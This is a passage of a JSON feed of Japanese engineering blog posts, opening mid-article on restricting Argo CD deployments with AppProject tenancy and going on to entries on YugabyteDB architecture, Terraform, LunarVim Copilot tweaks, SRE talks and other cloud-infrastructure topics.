argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のプロダクト用Clusterを指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHubargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキー、など)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"Projectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。Projectテナントは、例えば 赤線 の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、Projectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. おわりにKubernetesのマルチテナントパターンとArgoCDでのテナントパターンの実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、Projectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのテナントパターンの収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day5","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"PaLM API for textで作るGoogle Cloudコストチェッカー","contentSnippet":"前段 Sreake事業部の橋本です。 Generative AIをSRE活動に活用する場合に大きく分けて以下のような2ケースが考えられます。これまで1つめのtoil削減の実装をGenerative AIに含まれる学習デー […]The post PaLM API for textで作るGoogle Cloudコストチェッカー first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-check-with-palm-api-for-text/","isoDate":"2023-08-16T05:06:08.000Z","dateMiliSeconds":1692162368000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WezTerm で快適な WSL2 環境にする","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 にしてからやっぱり不便だなあとも思っていました。(InputMethod の切","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"SREからPlatform Engineerへの拡大 というタイトルで登壇しました","contentSnippet":"概要Cloud Operator Days Tokyo 2023 で SREからPlatform Engineerへの拡大 というテーマでの登壇を果たしました。オンデマンド配信なのでいずれ見れるようになると思います。今回のサブタイトルは【運用の新時代】とし、それにちなんでメインタイトルを考えました。資料の作成過程で、話したい内容がどんどんと増えてきてしまい、20分という限られた時間での発表が一番の課題となりました。内容の整理に際して、具体と抽象 ―世界が変わって見える知性のしくみ という本を参照し、大変役立ちました。具体と抽象作者:細谷 功dZERO（インプレス）Amazon資料このブログでは、Cloud Operator Days Tokyo 2023での登壇内容をまとめております。資料作成時に参照したさまざまな参考情報も掲載していますので、読者の皆様が別途情報を探す手間を省けるよう心掛けました。ぜひ、本ブログをご活用ください。文字多くて分かりにくいのは分かってます。脳内整理はできているのですが資料を読みやすくすると20分に何も収まらず...。 speakerdeck.com参考文献O’Reilly Japan – SRE サイトリライアビリティエンジニアリングあなたらしくSREO’Reilly Japan – サイトリライアビリティワークブックO’Reilly Japan – SREの探求SRE at Google: How to structure your SRE team | Google Cloud BlogレトロスペクティブガイドWhat Is Platform Engineering?Top Strategic Technology Trends for 2023: Platform EngineeringMaking the Business Case for a Dedicated Platform Engineering TeamSRE NEXTPlatform Engineering Meetupチームトポロジー　価値あるソフトウェアをすばやく届ける適応型組織設計The History of DevOps ReportsEffective DevOpsオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイド","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412","isoDate":"2023-08-10T06:04:12.000Z","dateMiliSeconds":1691647452000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS Control Tower 徹底調査","contentSnippet":"AWS Control Tower とは AWS Control Tower とは Landing Zone を実装するための AWS のマネージドサービスです。統制を取りつつマルチアカウントを管理する仕組みです。 La […]The post AWS Control Tower 徹底調査 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-aws-control-tower/","isoDate":"2023-08-10T05:52:55.000Z","dateMiliSeconds":1691646775000,"authorName":"Sreake","authorId":"Sreake"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築する","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。（※なお、今回はHarnessの使用に焦点を当てているため、CIの実…","link":"https://qiita.com/yokoo-an209/items/57e2e4c00394c9da85f7","isoDate":"2023-08-10T05:22:38.000Z","dateMiliSeconds":1691644958000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"2023年8月10日現在 でLunarVim と Copilot.lua でのマルチラインサポートの改善方法 ","contentSnippet":"github.comLunarVimユーザーとして、私はNeovimでcopilot.luaを頻繁に利用しています。しかし、マルチラインのサポートに関してはいくつかの課題がありました。もっというとどこかのタイミングでCopilotが一行ずつしかサジェストされなくなりました。この問題に対して、一部のコードを修正することで、この課題を解決する方法を見つけました。問題点Copilot.lua(Copilot.vimも同様に)の中のagent.jsには、マルチライン入力の停止点を示すコード h.stop=[\\"\\\\n\\"] が含まれています。この設定により、一部の場面でマルチラインサポートが期待通りに動作しないことがありました。解決方法私が採用した方法は、このh.stop=[\\"\\\\n\\"]をh.stop=[\\"\\\\n\\\\n\\\\n\\"]に変更することです。この小さな変更により、マルチラインのサポートが大幅に向上します。以下のコマンドを実行することで、この変更を簡単に適用することができます。MAC でのsed 利用なのでこのようなコマンドになります。各環境で合わせていただきたいです。sed -i \'\' \'s/h\\\\.stop=\\\\[\\"\\\\\\\\\\\\\\\\n\\"\\\\]/h\\\\.stop=\\\\[\\"\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\"\\\\]/\' ~/.local/share/lunarvim/site/pack/lazy/opt/copilot.lua/copilot/dist/agent.js変更が正しく適用されたかどうかを確認するには、以下のコマンドを実行します。grep -o \'.\\\\{30\\\\}h.stop=\\\\[.\\\\{30\\\\}\' ~/.local/share/lunarvim/site/pack/lazy/opt/copilot.lua/copilot/dist/agent.js結果この変更を適用した後、マルチラインサポートが明らかに向上しました。興味があれば最初に紹介したIssue に動画が添付されていたのでご覧ください。LunarVimとCopilot.luaの組み合わせは非常に強力ですが、小さな調整によりさらに快適に使うことができます。このハックが他のユーザーにも役立つことを願っています。後日談この変更を適用した後でマルチラインサポートは向上したのですが一部条件ではまだ、vscodeのような挙動ができません。","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/10/021934","isoDate":"2023-08-09T17:19:34.000Z","dateMiliSeconds":1691601574000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Run を活用した Pull Request 単位での Ad hoc 開発環境作成","contentSnippet":"きっかけ 開発時、feature ブランチの Pull Request （以下、PR）ごとに実行環境が準備されると便利だよねというところから、PR ごとに開発環境を構築される仕組みを作ることになりました。 使用技術スタッ […]The post Cloud Run を活用した Pull Request 単位での Ad hoc 開発環境作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pull-request-based-adhoc-env/","isoDate":"2023-08-09T03:10:37.000Z","dateMiliSeconds":1691550637000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day4","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"K8sGPT Deep Dive というタイトルで登壇しました #CNDF","contentSnippet":"概要CloudNative Days Fukuoka 2023というイベントに『K8sGPT Deep Dive KubernetesクラスタのAI駆動型分析について』というタイトルで登壇しました。クラウドネイティブとAIを組み合わせることの深い洞察を共有することができ、私自身がエンジニアとして働くなかで、K8sGPTの最新の進化とその可能性について詳しく語る機会はなかなかなく、この経験を活かしていきたい。資料を作っている中で話したいことがどんどん増えていってめちゃくちゃ困った。また、その中でAIOpsについても触れることができ、非常に充実した時間でした。AIOpsはAIと運用管理の統合を指し、それによりIT運用の効率化や自動化が可能となります。その重要性と可能性を伝えることができたので良かった。登壇が終わった今でも、K8sGPTやAIOpsについてさらに知識を深め、クラウドネイティブの世界にどのように最適化された解決策を提供できるかについて考え続けています。参加者の皆さんからもたくさんのフィードバックを頂き、今後の研究や開発の参考になりました。私がこのプレゼンテーションのために読み込んだ複数の本の中で、特に皆さんにお勧めしたい一冊を挙げるとすれば、「大規模言語モデルは新たな知能か――ChatGPTが変えた世界」だと言えます。なぜなら、専門家でも初心者でも、難解な数学を使わずに重要な概念を理解できるように作られているからです。大規模言語モデルは新たな知能か　ＣｈａｔＧＰＴが変えた世界 (岩波科学ライブラリー)作者:岡野原 大輔岩波書店Amazon資料登壇資料になります。このブログの目的は参考資料をいちいち探さなくていいようにありますのでご活用ください。 speakerdeck.com参考文献公式ページ | K8sGPTGitHub | K8sGPTGitHub | K8sGPT OperatorDocs | K8sGPTOperator patternK8sGPT OperatorHow to Get Started With AIOpsPrompt Engineering Guideオブザーバビリティ・エンジニアリングKubernetes基盤を自律的に支えるController化の実装Tips / forkwell-202303-amsy810-k8sAutomation and Machine Learning with Site Reliability EngineeringTEMPLE: Six Pillars of ObservabilityAI時代に向けたクラウドにおける信頼性エンジニアリングの未来構想 / DICOMO2022\xa06A-1大規模言語モデルは新たな知能か――ChatGPTが変えた世界 (岩波科学ライブラリー)ChatGPTの頭の中 (ハヤカワ新書)言語の本質　ことばはどう生まれ、進化したかAI vs. 教科書が読めない子どもたち【ITIL4公認】ITIL 4の基本 図解と実践","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T06:53:26.000Z","dateMiliSeconds":1691045606000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ？Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day2","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Four Keys とは？考え方から導入まで徹底検証してみた","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、2022年のAccelerate State of DevOps Reportについて調査を行いました。DevOps Reportでは、Four K […]The post Four Keys とは？考え方から導入まで徹底検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-four-keys/","isoDate":"2023-07-21T09:56:19.000Z","dateMiliSeconds":1689933379000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes の upstream のキャッチアップ","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","link":"https://zenn.dev/toversus/articles/52b107ab103712","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa 